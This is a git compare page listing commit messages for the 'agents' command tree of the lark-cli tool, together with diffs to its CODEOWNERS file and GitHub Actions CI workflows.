Compare commits

..

24 Commits

Author SHA1 Message Date
liuxinyang.lxy
63f78c18f7 fix: defensive-copy answers in WithResolvedAnswers builder 2026-07-21 15:50:34 +08:00
liuxinyang.lxy
af4fb90723 style: gofmt test files 2026-07-21 15:44:00 +08:00
liuxinyang.lxy
a43c456ec1 feat: question-group answer scheme for input_required tasks
Replace the decision_id/--option HITL contract with the question-group
answer scheme:

- contract: InputRequired becomes {label, description, questions[]}
  (a single question is a length-1 group); Option gains description;
  decision_id/input_type/submitted fields are removed
- answering: --answer <qid>=<option_id> | <qid>.text=<text> is the only
  answer channel (--decision-id/--option removed); --text is always the
  message-level remark; offline collect-all key-grammar guards plus an
  input_required capability gate
- keys: minted at group-creation time (MintQuestionIDs /
  DeriveGroupSuffix), per-group-unique for stale-retry protection;
  central normalization with size caps and whole-group degradation on
  non-conforming keys (JSON _notice.provider_defect); KeyCharsetRE is
  the single charset source and safeNextID now requires an alphanumeric
  first character (rejects flag-lookalike ids)
- meta.next: per-question --answer templates with a relay-first label
- example/planner: three-question reference group; strict collect-all
  validation (Reason enum + question spec), atomic acceptance with a
  resolved_answers echo, context binding, no sibling-task fork on bare
  --text; Register enforces InputRequired => brand-covering CancelTask
- errs: ValidationError gains the resolved_answers extension field
- skills/lark-agents 1.3.0: relay-first rules, answer grammar, recovery
  playbook, untrusted question-text discipline
2026-07-21 15:38:28 +08:00
liuxinyang.lxy
5a57092802 refactor: drop task_count from context list, make it optional on get 2026-07-20 18:06:24 +08:00
liuxinyang.lxy
e2b7ef0967 feat: environment-scoped agent visibility and capability gating
The set of agents and the capabilities each exposes can be scoped to the
resolved account environment, so discovery and gating reflect only what the
current account can actually use.

SPI (internal/agents):
- AgentSpec and Op gain an optional scope field (empty = unrestricted);
  Register fail-fasts on an unknown scope value and on a scope declared on an
  unwired operation.
- DeriveCapabilities and BuildCard take the resolved environment: an
  operation-backed capability is exposed only when wired AND in scope; the card
  echoes the environment it was rendered for.
- Provider.ListCatalog filters the catalog to the in-scope agents.

Command layer (cmd/agents):
- The resolved environment defaults offline (nil-safe) so the gates hold before
  config init. Every verb path gates offline before the client is built: the
  whole-agent gate fires before the per-verb capability nil-gate, so an
  out-of-scope agent uniformly returns a single dedicated validation error
  (exit 2) for every verb instead of a misleading "unsupported" on an
  incidentally-unwired one; the per-operation gate follows the nil-gate. List
  filtering mirrors the same rule.

The example provider demonstrates the per-capability scope end to end; skill
docs updated accordingly.
2026-07-17 14:29:13 +08:00
liuxinyang.lxy
2e79559ebe feat: cursor pagination for agents task/context/agent lists
Adds Feishu-OpenAPI-style page_token/page_size pagination to the three list
operations (`agents task list`, `agents context list`, instance
`agents list <scheme>`), consistent with the shortcuts/contact & calendar
convention.

SPI (internal/agents):
- New PageParams{Token,Size} / PageInfo{NextToken,HasMore}.
- ListTasks/ListContexts hooks and the Provider.ListAgents field gain a
  PageParams arg and a PageInfo return; the provider owns cross-page ordering
  (contract: most-recent-first) and maps the opaque cursor to its backend.

Command layer (cmd/agents):
- --page-size (default 20, range 1-100, validated client-side in RunE) and
  --page-token on the three list leaves. output.Meta gains has_more +
  page_token (both omitempty); listMetaPage emits them and, when a next page
  exists, a ready-made "下一页" meta.next command so an AI pages by running the
  suggested command instead of threading a cursor. The next-page cursor is
  safeNextID-whitelisted before it is interpolated into that command (it still
  rides meta.page_token as data if it fails), and ref/scheme/context-id are
  each whitelisted too. The catalog list path stays offline/unpaged.
- Per-page CLI re-sort removed: ordering is now purely the provider's
  responsibility, so a within-page re-sort could only make the concatenation
  across pages inconsistent.

example provider paginates its in-memory store via an opaque offset cursor,
most-recent-first (Seq desc). Skill docs (task/context/list) document the flags,
has_more/page_token, and the meta.next paging idiom.
2026-07-13 23:08:26 +08:00
liuxinyang.lxy
05e3609eb0 refactor: rename the agent command tree to plural agents
Renames the provider-neutral agent surface from singular to plural across
every layer, for internal/external consistency:

- CLI command `lark-cli agent` → `lark-cli agents` (cobra Use, the
  NewCmdAgents constructor, root registration, and the Agent-tooling help
  group key so it still groups correctly).
- Go packages / dirs: agent/→agents/, cmd/agent/→cmd/agents/,
  internal/agent/→internal/agents/; every package declaration, import path,
  and the iagent→iagents import alias.
- Skill: skills/lark-agent/→skills/lark-agents/, reference files
  lark-agent-*.md→lark-agents-*.md, SKILL.md frontmatter name/cliHelp, and
  every documented command reference.

Domain nouns deliberately stay singular — they model one agent, not a
collection: the AgentSpec/AgentCard/AgentTask/AgentSummary types, the
agent_id / agent_ref / agent_ref_format / agent_id_source wire keys, and the
A2A message Role "agent". Three adversarial review passes confirmed no
wire-key or type corruption and no missed references.
2026-07-13 17:58:42 +08:00
liuxinyang.lxy
b740c0bd0e fix: harden agent CLI per adversarial review and converge skill docs
Code (all findings verified by re-run before fixing):
- send --file: local gate before any capability/confirmation gate —
  relative-within-CWD, must exist, not a directory; violations collected
  in one pass (dry-run included)
- --param scalars: canonicalize accepted variants (TRUE/1/+5/04 ->
  true/5/4) so both channels produce one wire form; integer overflow now
  reports a range error, not a type error; non-object JSON no longer
  leaks Go type text
- unknown-param suggestions: nearest-first by edit distance (<=2),
  cross-verb hits no longer mix verb names into suggestions
- meta.next: no self-loop on terminal task get (caller-aware); --as is
  carried only when the caller passed it explicitly, matching the
  shortcut-family convention of never pinning identity
- pretty task view: request/reply lines (result was invisible before)
- context delete gate: self-contained Chinese irreversibility message
- teaching hints: --timeout/--task-id now carry actionable fixes;
  example conflict message drops internal jargon
- list-class envelopes: empty lists omit meta entirely (no '{}' shape)
- example: artifacts carry name/mime before download (csv/xlsx);
  planner now covered by conformance

Docs: skill family synced to verified binary behavior — bot preflight
truth, incremental-auth hint semantics, 8-verb
--operation vocabulary, real-output sample backfills (3 agents,
created_at, submitted omitempty), redundancy converged to single
authority sections, provider file slimmed to runtime-AI-only content.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
5f9ffab58c feat: object params via dotted-path/JSON dual channel, plus NoCarry
Object parameters land on the declaration model: CardParam gains Fields (one
nesting level, scalar leaves only — an object itself declares nothing but its
members; requiredness, enums, defaults and ranges all live on the leaves) and
Register recursively fail-fasts six new object rules.

Transport is dual-channel with one canonical form: dotted paths are the
primary channel (--param filter.region=east — no shell quoting, AI error rate
stays at scalar level, and meta.next can carry leaves literally) and a JSON
value is the fallback (--param filter='{"region":"east"}', numbers decoded via
json.Number so literals survive). Both channels validate leaf-by-leaf with the
same teaching errors (dotted-path violation names, enum/range sets, unknown
members listing the field set) and normalize into flat dotted keys in
rt.Params() — a provider never sees which channel the caller used. Mixing
channels for one object is rejected; leaf defaults backfill on both.

Consumption: ParamObject[T] assembles an object's leaves into a typed struct;
BindParams supports nested tagged structs; agenttest.CheckParamsBinding
recurses so declaration/struct drift on leaves still dies in CI.

NoCarry opts a parameter out of the meta.next carry: values never ride the
chain literally (a required NoCarry param degrades to a placeholder so the
caller supplies a fresh value). It is the declared escape hatch for per-call
parameters (trace tags) where the carry rule's same-resource continuity
assumption does not hold. Object leaves otherwise carry as ordinary scalars
under the unchanged three-way rule.

The example reporter declares a render object (enum + boolean + defaults)
consumed through a nested binding struct — with defaults the historical reply
stays byte-identical. Skill docs updated (card fields/no_carry semantics, send
dual-channel rules, example walkthrough).
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
122c511928 feat: per-operation business params across the agent command tree
Implements the v5 params design: business parameters become first-class,
per-operation declarations that every agent verb can carry, validate, and
chain — replacing the send-only, agent-global parameter table.

SPI (internal/agent):
- AgentSpec's eight hook funcs become eight Op units (Op[H]{Params, Handler}):
  a parameter physically cannot be declared on an unimplemented operation, and
  capability derivation enumerates one table (Ops()) shared by every consumer.
  Handler signatures are unchanged; migration is wrapping `Send: f` into
  `Send: SendOp{Handler: f}`.
- CardParam gains real validation semantics: Type (string|integer|number|
  boolean, empty normalizes to string), Enum (string+integer), Default
  (backfilled), Min/Max (numeric ranges). Register fail-fasts on twelve
  declaration mistakes (charset, duplicates, enum/default/range conflicts,
  params on unwired ops, ListParams without ListAgents).
- Runtime gains Params() with a hard contract: required keys present and
  non-empty, defaults backfilled, every value validated — before any handler
  runs. Typed consumption via BindParams[T] (param struct tags) plus
  ParamInt/ParamBool; agenttest.CheckParamsBinding locks declaration↔struct
  drift in CI. SendInput.Params and CardInfo.Parameters are removed.

Command layer (cmd/agent):
- --param key=value on all eight verb leaves plus `agent list <scheme>`
  (Provider.ListParams; discovered via providers[].list_parameters since the
  caller holds no agent_ref at list time). `task get --artifact` validates
  strictly against the artifact_download declaration.
- Collect-all validation: every violation reported in one typed error
  (errs.InvalidParam gains an optional Spec field embedding the full
  declaration), so a caller can fix all mistakes in one round without a
  discovery trip. Empty values count as "not provided" (defaults still
  backfill; required still rejects). send gains an explicit mode discriminator
  (start/continue/answer) formalizing the existing guards.
- meta.next carries params by the three-way rule (whitelisted values ride
  literally; whitelist failures degrade required params to placeholders;
  target-verb requireds the caller never gave are added as placeholders), and
  terminal tasks emit a ready-made download command per artifact.
- Lean card: parameter details move behind `agent card <ref> --operation
  <verb|all>` (returns supported/command-template/parameters); the default
  card carries a has_parameters cue. Instance providers are labeled
  parameters_source:"template".

The example provider migrates to Op units and reporter declares two demo
params (enum+default, integer+range+default) consumed via BindParams — the
copy-start template now exercises the whole declaration surface offline.
Skill docs (SKILL.md + six references) updated to the new discovery and error
contracts.

An adversarial review pass (16 findings, all verified) is folded in — notably:
empty-valued optional params no longer bypass validation and default backfill
(was an internal-error/exit-5 path violating the rt.Params() contract);
invalid values no longer double-report as missing; BindParams returns a typed
error on unexported tagged fields; ValidateValue rejects non-finite numbers.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
c47a3d622d feat: structured input_required decisions (decision_id/option_id/submitted)
Restores the structured HITL decision that the initial cut flattened to a prompt
+ free text, so multi-endpoint arbitration is expressible. Grounded in A2A: the
decision rides a DataPart and the answer reuses `agent send` (A2A's single
SendMessage), not new top-level protocol fields or a new verb.

Read side:
- InputRequired gains DecisionID, InputType (single_select|multi_select|text),
  Options[]{OptionID,Label}, Submitted (+SubmittedOptionID); Options was []string.
- `task get` pretty view renders the decision (prompt, decision_id, options,
  submitted); every agent-controlled field is ANSI-stripped.

Write side:
- SendInput gains DecisionID + OptionIDs. `agent send` gains --decision-id and
  --option (repeatable); --text becomes optional when answering by option.
  Guards: --option needs --decision-id; --decision-id needs --context-id/--task-id.
- meta.next for an input_required task carrying a decision points at the
  structured answer command (decision_id whitelisted via safeNextID; falls back
  to --text otherwise).
- Arbitration is server-side: a provider's Send returns conflict on an
  already-answered decision; the CLI only reads/echoes submitted.

Reference provider: a new example:planner agent demonstrates the loop end to end
— the first send opens the decision, --decision-id/--option completes it and
records the winning option, and a re-answer returns conflict.

Skill docs (SKILL, send, card, example) updated; card capability count corrected
7 -> 9.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
04e651b2ae fix: cover CallUpload[T] to satisfy the incremental dead-code gate
The typed upload helper CallUpload[T] had no caller anywhere — only its
JSON counterpart Call[T] was exercised (by TestCmdRuntime_CallAPI_UnwrapsData)
— so the incremental dead-code gate flagged it as newly unreachable.

Add TestCmdRuntime_CallUpload_PropagatesError, mirroring the Call[T]
coverage: it drives CallUpload through the unsafe --file reject path and
asserts the validation error propagates and T stays zero. This keeps the
provider-facing typed pair (Call[T] / CallUpload[T]) symmetric — both entry
points are now tested rather than only the JSON one — and makes the helper
reachable so the gate passes.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
cf4f928a8b feat: enforce identity and scope gates on online agent list <scheme>
The instance/ListAgents branch of `agent list <scheme>` makes a real online
call but skipped the two gates every other online verb runs via resolveSpec +
preflightScopesForRef: the user|bot identity whitelist and the all-or-nothing
scope preflight. A future network-backed provider would get a worse contract on
list than on send/task/context — a scope-lacking user hit a raw platform error
instead of a clean missing_scope (exit 3), and an out-of-whitelist identity was
never rejected.

- preflightScopesForRef is split into a scheme-keyed core
  (preflightScopesForScheme) plus a thin ref wrapper; ref-addressed callers are
  unchanged.
- The online list branch now calls f.CheckIdentity and preflightScopesForScheme
  (the full RequiredScopes, same all-or-nothing rule as the other verbs) before
  ListAgents. Enumeration is treated as a real API verb, not a special case.
- `agent list` registers --as so the enumeration identity can be chosen (the
  offline no-scheme provider listing ignores it).

Catalog providers (offline enumeration) are unaffected. Tests cover the scope
preflight (missing_scope, ListAgents not called), the identity whitelist, and
the --as flag registration.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
cb8e2c58df fix: reject oversized artifacts and split multi_turn into per-verb caps
Two review follow-ups on the agent command tree.

Artifact download (data integrity): fetchArtifactURL now reads one byte past
maxArtifactBytes and refuses a body over the cap with a typed error, instead of
letting io.LimitReader silently truncate a >256 MiB artifact to a corrupt,
partial file that reported success (exit 0). The LimitEnforced test is inverted
to assert the rejection.

Capabilities: the single multi_turn card bit is replaced by three independent
capabilities — context_list / context_get / context_delete — each derived from
its own wired hook (ListContexts / GetContext / DeleteContext). One bit could
not honestly represent three separately-deliverable verbs: a provider wiring
ListContexts but not DeleteContext advertised multi_turn=true while `context
delete` failed claiming multi_turn=false. Each context verb now gates on and
reports its own capability. Card schema, capability matrix, the three context
gates, tests, and the lark-agent skill docs are updated in lockstep.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
75bdefa513 fix: harden agent command layer (render sanitize, nil-safety, arrays)
Review follow-up on the agent command tree. A batch of low-risk hardening
fixes; no behavior change for the shipped example provider.

- Terminal-injection: pretty/TSV renderers now sanitize the agent-controlled
  State / UpdatedAt / CreatedAt fields (kvValue on pretty rows, stripANSI on
  TSV), matching the id/summary/title fields — a malicious provider can no
  longer inject CSI/OSC escapes via a forged state or timestamp.
- Nil-safety: `task get --watch` and artifact download return a typed
  invalid_response error when a provider hook yields (nil, nil) (a legitimate
  Call[*T] result on an empty "data") instead of panicking; an artifact with
  neither inline bytes nor a URL no longer writes a 0-byte file.
- Array convention: task/context/agent list normalize a nil slice to [] so an
  empty list serializes as [] not null, matching Card.Parameters.
- Error hint: unknown-agent errors keep LookupSpec's scheme-scoped
  `agent list <scheme>` hint instead of being flattened to the generic one.
- agent list <scheme> (online path) sets the resolved identity on its
  envelope, consistent with the other leaves.
- Comment/doc drift: drop references to the removed Deps probe / Discoverer /
  ProviderInfo / resolveProvider symbols; rename Supports(cap) -> capKey.
- Tests: cross-agent isolation in the example store, empty-list [] contract,
  State/timestamp sanitization regression, and a real stdout assertion for
  context list --jq.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
118ab4bf1e refactor: typed Runtime.Call[T]/CallUpload[T] over raw data JSON
Runtime.CallAPI/CallMultipart now return the response "data" object as
json.RawMessage instead of map[string]any, and provider hooks decode it through
the generic Call[T] / CallUpload[T] helpers: a hook declares the response struct
it expects and the framework unmarshals + classifies errors, instead of poking
at a map. Call[map[string]any] remains available for genuinely dynamic shapes; a
response with no "data" (e.g. a pure write) yields T's zero value and a nil error.

decodeData centralizes the unmarshal + invalid_response classification. cmdRuntime
re-encodes the unwrapped "data" sub-object to raw JSON after CheckResponse. Test
doubles (cmd/agent + example fakeRuntime, card_test fakeRT) updated to the raw
signature; the runtime tests keep the raw-data assertion and add a Call[T]
decode assertion.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
a1c3530ec9 refactor: align agent scope preflight with event (bot + user)
The agent scope preflight now mirrors cmd/event's scopeRemediationHint for both
identities, replacing the bespoke replacement-era hint:

- user: the re-auth hint lists ONLY the missing scopes (the open platform
  authorizes incrementally, so re-login with just the missing keeps existing
  grants — no merge needed). Uses the canonical repo-wide `auth login --scope`
  phrasing instead of a one-off Chinese string.
- bot: previously skipped entirely; now checks the app's published TenantScopes
  (fetched best-effort via appmeta.FetchCurrentPublished behind a swappable seam;
  a fetch failure downgrades to a no-op). A missing scope reports the
  developer-console re-publish remediation (the event-style scan-to-enable deep
  link lives in cmd/event and is not duplicated here).

preflightScopesForRef keeps its signature (no call-site changes); bot fetch uses
a bounded background context so no ctx param is threaded. Tests cover the
incremental user hint, the bot missing/present/no-scopes branches, and the bot
seam wiring.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
be8356b900 feat: enrich task/context summaries for triage (updated_at, summary, active_task)
`task list` / `context get` carried only {task_id, context_id, state,
is_terminal} — too thin for a caller (especially an AI) to tell which task
to resume without a `task get` per item. Enrich the summary surface so the
list is self-sufficient for triage, aligning with A2A's Task
(status.timestamp + last message).

- TaskSummary: add updated_at + summary (last agent message, or the pending
  prompt for input_required; rune-truncated)
- AgentTask: add created_at + updated_at
- ContextSummary: add updated_at + task_count + awaiting_input
- ContextDetail: drop the embedded tasks[]; add updated_at, task_count,
  awaiting_input, and active_task (the latest-updated task). Full task
  enumeration stays in `agent task list --context-id`.
- task list / context list sort by updated_at desc
- route task list / context list / context get through the content-safety
  scan (they now carry untrusted agent text); ANSI-strip + flatten summary
  in pretty/TSV
- example provider fills the new fields; tests + lark-agent skill docs updated
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
5d9370ad13 refactor: inject a Runtime into provider hooks; declarative Provider/AgentSpec
Supersede the struct-of-func-fields Provider with a runtime-injection model that
stops leaking framework plumbing to integrators (the Deps{Client, As} an
onboarding author previously had to receive and destructure — the mock didn't
even use it).

Framework (internal/agent):
- Provider is now one declarative value per business domain (scheme): metadata +
  a Catalog []AgentSpec (offline-enumerable) XOR an Instance *AgentSpec template,
  plus an optional online ListAgents hook. AgentSpec carries per-agent card
  metadata, the FileInput/InputRequired flags, and the verb hooks.
- Every hook receives an identity-opaque agent.Runtime (AgentID/IsBot/CallAPI/
  CallMultipart) instead of a raw client; the concrete cmdRuntime lives in
  cmd/agent (like event's consumeRuntime), so internal/agent no longer depends on
  internal/client and the Deps struct is gone. CallMultipart is the centralized,
  SafeInputPath-validated file-upload seam that makes file_input deliverable.
- Register takes a Provider (pure-struct validation, fail-fast). LookupSpec
  resolves ref→spec fully offline. Capability = wired-hook presence
  (DeriveCapabilities), card synthesized by BuildCard (rt=nil ⇒ offline caps +
  static metadata; rt!=nil ⇒ best-effort Describe enrichment). Deleted catalog.go,
  Deps, Factory, Resolve, NewCard, the zero-Deps probe, and the Discoverer interface.

Command layer (cmd/agent):
- resolveSpec (offline: identity + LookupSpec) then capability nil-gate BEFORE
  runtimeFor, so an unsupported verb returns unsupported_capability (exit 2)
  before any client is built — uniformly across list/context/artifact (previously
  only cancel gated offline). Then runtimeFor + scope preflight + spec.<hook>(rt).
- agent list: catalog enumerates offline (ListCatalog); instance enumerates via
  the online ListAgents hook, else reports not-enumerable.

Providers: example is now a declarative Provider() value + plain hooks reading
rt.AgentID() (echo minimal / reporter full differ only by wired fields). Explicit
aggregation in agent/register.go.

Adds cmd/agent runtime tests (CallAPI unwrap/error/transport, IsBot, CallMultipart
SafeInputPath), negative capability-gate tests (send --file / task list / context
get / artifact download), the https-only artifact check, and BuildCard's dynamic
Describe path.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
a821bd0e9a refactor: capability-registration provider model (func fields, framework-gated)
Replace the fat 9-method Provider interface with a struct of function fields,
mirroring the events KeyDefinition / shortcuts Shortcut convention: a provider
wires only the capabilities it supports and leaves the rest nil. This removes the
two things every integrator previously had to keep in sync by hand — the
Capabilities bool matrix and the per-method ErrUnsupported returns.

- Provider is now a struct: core Send/GetTask (mandatory, asserted at Register)
  plus optional func fields (ListTasks/CancelTask/context trio/DownloadArtifact/
  ListAgents) whose presence == support, plus FileInput/InputRequired flags and
  an optional Describe for per-agent card metadata.
- The card capability matrix is DERIVED from which fields are wired
  (DeriveCapabilities / BuildCard), so declaration and behavior are single-
  sourced and cannot drift. CatalogEntry drops its Capabilities field.
- The command layer gates every optional verb on the nil field and returns a
  unified unsupported_capability (exit 2) before any network access; the
  ErrUnsupported sentinel and convertUnsupported are deleted. --file is now
  capability-gated too (file_input=false ⇒ unsupported before the upload prompt).
- The Discoverer interface becomes the ListAgents field; catalog providers must
  wire it (asserted at Register). example expresses echo's minimal set vs
  reporter's full set purely by which fields its Factory wires per agent — no
  bool matrix, no refusal code. Conformance + tests updated to the new shape.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
7a65b43949 refactor: move agent providers to top-level agent/ package
Mirror the events layering: the framework/SPI stays in internal/agent, the
concrete business providers move to a top-level agent/ package (agent/example/),
and agent/register.go blank-imports each so their init() self-registration runs.
cmd/build.go blank-imports the top-level agent package (alongside events); the
command layer (cmd/agent) no longer wires providers directly.

A test-only blank import keeps the example scheme registered for cmd/agent
tests, which exercise example:echo / example:reporter offline.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
18d142fd51 docs: add lark-agent skill for the agent command tree
lark-agent skill: a framework-layer SKILL.md (verb contract, task state
machine, polling, exit codes) written with provider placeholders, plus
per-provider files under references/providers/. Adding a provider means
adding one provider file; the framework docs and verb references stay put.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
49492e9a0c feat: add example provider, StaticCatalog scaffolding and conformance harness
- StaticCatalog (internal/agent/catalog.go): a framework helper carrying
  the catalog-provider boilerplate — enumeration, per-agent card lookup
  and typed unknown-id errors — so catalog providers do not reinvent it.
- agenttest.RunConformance: a one-call conformance suite pinning the SPI's
  implicit contracts (registration metadata, zero-Deps factory, card
  single source, enumeration stability).
- example provider (internal/agent/example): an offline in-memory
  reference provider (echo / reporter, deliberately different capability
  matrices) that doubles as the provider-onboarding template and the
  command tree's zero-network demo backend.
2026-07-13 14:08:42 +08:00
liuxinyang.lxy
9b3b07398d feat: add provider-neutral agent command tree
Add the `lark-cli agent` command tree: a provider-neutral surface over
remote A2A agents. One constant verb set (list / card / send / task /
context) routes by agent_ref (<scheme>:<agent_id>) to registered
providers; remote agents never grow new top-level commands and their
capabilities are declared in a machine-readable card.

- SPI (internal/agent): Provider interface, registry with fail-fast
  registration checks, typed ProviderKind / IdentityType, a closed
  Capabilities struct, NewCard single-source card synthesis, and the
  9-state task machine aligned with A2A.
- Command surface (cmd/agent): list / card / send / task / context with
  default JSON envelopes, meta.next suggested commands, fire + bounded
  `--watch --timeout` polling, local all-or-nothing scope preflight,
  and capability gating. Two CLI-enforced high-risk-write confirmations:
  `send --file` (off-machine upload) needs --yes, and artifact download
  refuses to clobber an existing -o target without --force; both return
  confirmation_required (exit 10) before any network/write. Artifact
  download is SSRF-guarded, https-only and size-capped.
- Typed error contract with stable exit codes and codemeta classification.
- Ignore local-only proof artifacts (tests_e2e/, tests_skill_eval/,
  coverage.html).
2026-07-13 14:08:42 +08:00
1200 changed files with 27920 additions and 95465 deletions

3
.github/CODEOWNERS vendored
View File

@@ -1,7 +1,4 @@
/go.mod @liangshuo-1
/go.sum @liangshuo-1
/internal/ @liangshuo-1
/shortcuts/common/ @liangshuo-1
# Last match wins: existing domains below are exempt, only new skills/ entries need review.
/skills/ @liangshuo-1

View File

@@ -62,6 +62,19 @@ jobs:
go list -m -u all 2>/dev/null | grep '\[' >> report.md || echo "All dependencies up to date" >> report.md
echo '```' >> report.md
- name: Circular dependency check
run: |
echo "## Circular Dependencies" >> report.md
go list -f '{{.ImportPath}} {{join .Imports " "}}' ./... | \
go run golang.org/x/tools/cmd/digraph@v0.31.0 scc 2>&1 | tee cycles.txt
if [ -s cycles.txt ]; then
echo '```' >> report.md
cat cycles.txt >> report.md
echo '```' >> report.md
else
echo "No circular dependencies detected." >> report.md
fi
- name: E2E coverage gaps
run: |
echo "## E2E Coverage Gaps" >> report.md

View File

@@ -1,5 +1,4 @@
name: CI
run-name: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
on:
push:
@@ -9,12 +8,6 @@ on:
types: [opened, synchronize, reopened, edited]
workflow_dispatch:
# PR metadata edits can retrigger full CI for the same head. Keep only the
# newest run for a pull request; push and manual runs use a unique run ID.
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
permissions:
contents: read
actions: read
@@ -54,34 +47,6 @@ jobs:
exit 1
fi
plugin-integration:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
# No fetch_meta: the git-archive clean tree must embed only the
# committed meta_data stub (reproduces the bare-module customer state).
- name: Run plugin-integration L4 tests
run: go test -count=1 -timeout=15m ./tests/plugin_e2e/...
sidecar-integration:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- name: Run sidecar tag build + HMAC round-trip
run: make sidecar-test
# ── Layer 2: Quality Gate ──────────────────────────────────────────
unit-test:
needs: fast-gate
@@ -119,8 +84,6 @@ jobs:
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Enforce layering ratchet
run: bash scripts/check-layering-ratchet.sh "$QUALITY_GATE_CHANGED_FROM"
- name: Run golangci-lint
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
- name: Run source-contract lint guards (lintcheck)
@@ -213,11 +176,7 @@ jobs:
run: python3 scripts/fetch_meta.py
- name: Run tests with coverage
run: |
# tests/ holds only L3/L4 suites (cli_e2e, plugin_e2e, sidecar_e2e) that
# have dedicated jobs; exclude the whole subtree so none of them runs a
# second time here — and, crucially, so an observe-only suite's failure
# can never block merges through coverage's spot in the results loop.
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/')
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
- name: Upload coverage to Codecov
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
@@ -304,11 +263,6 @@ jobs:
e2e-dry-run:
needs: [unit-test, lint, script-test, deterministic-gate]
runs-on: ubuntu-latest
timeout-minutes: 20
outputs:
mode: ${{ steps.e2e_domains.outputs.mode }}
reason: ${{ steps.e2e_domains.outputs.reason }}
live_packages: ${{ steps.e2e_domains.outputs.live_packages }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
@@ -322,23 +276,6 @@ jobs:
- name: Resolve CLI E2E domains
id: e2e_domains
run: node scripts/e2e_domains.js
- name: Validate CLI E2E domain outputs
env:
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
run: |
case "$E2E_MODE" in
skip)
[ -z "$E2E_LIVE_PACKAGES" ] || { echo "::error::Skip mode must not resolve live packages"; exit 1; }
;;
full|subset)
[ -n "$E2E_LIVE_PACKAGES" ] || { echo "::error::No live packages resolved for mode $E2E_MODE"; exit 1; }
;;
*)
echo "::error::Invalid CLI E2E mode: $E2E_MODE"
exit 1
;;
esac
- name: Build lark-cli
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
run: make build
@@ -372,22 +309,16 @@ jobs:
fi
e2e-live:
needs: [unit-test, lint, script-test, deterministic-gate, e2e-dry-run]
if: ${{ always() && (github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork) && needs.unit-test.result == 'success' && needs.lint.result == 'success' && needs.script-test.result == 'success' && needs.deterministic-gate.result == 'success' && needs.e2e-dry-run.result == 'success' && (needs.e2e-dry-run.outputs.mode == 'full' || needs.e2e-dry-run.outputs.mode == 'subset') && needs.e2e-dry-run.outputs.live_packages != '' }}
needs: [unit-test, lint, script-test, deterministic-gate]
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
timeout-minutes: 30
# Live E2E uses one repository-wide execution slot.
concurrency:
group: lark-cli-e2e-live
cancel-in-progress: false
queue: max
permissions:
actions: read
contents: read
checks: write
env:
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
LARKSUITE_CLI_BRAND: feishu
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
@@ -398,68 +329,31 @@ jobs:
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Resolve CLI E2E domains
id: e2e_domains
run: node scripts/e2e_domains.js
- name: Build lark-cli
id: build_cli
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
run: make build
- name: Prepare shared live E2E tenant token
id: live_e2e_tat
env:
LARKSUITE_CLI_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
run: node scripts/fetch_e2e_tat.js
- name: Run CLI E2E tests
# Keep an active Go test alive so t.Cleanup can finish. A queued stale
# run is rejected below before it can start live E2E.
if: ${{ always() && steps.build_cli.outcome == 'success' && steps.live_e2e_tat.outcome == 'success' }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}
REPOSITORY: ${{ github.repository }}
EVENT_NAME: ${{ github.event_name }}
RUN_ID: ${{ github.run_id }}
RUN_NUMBER: ${{ github.run_number }}
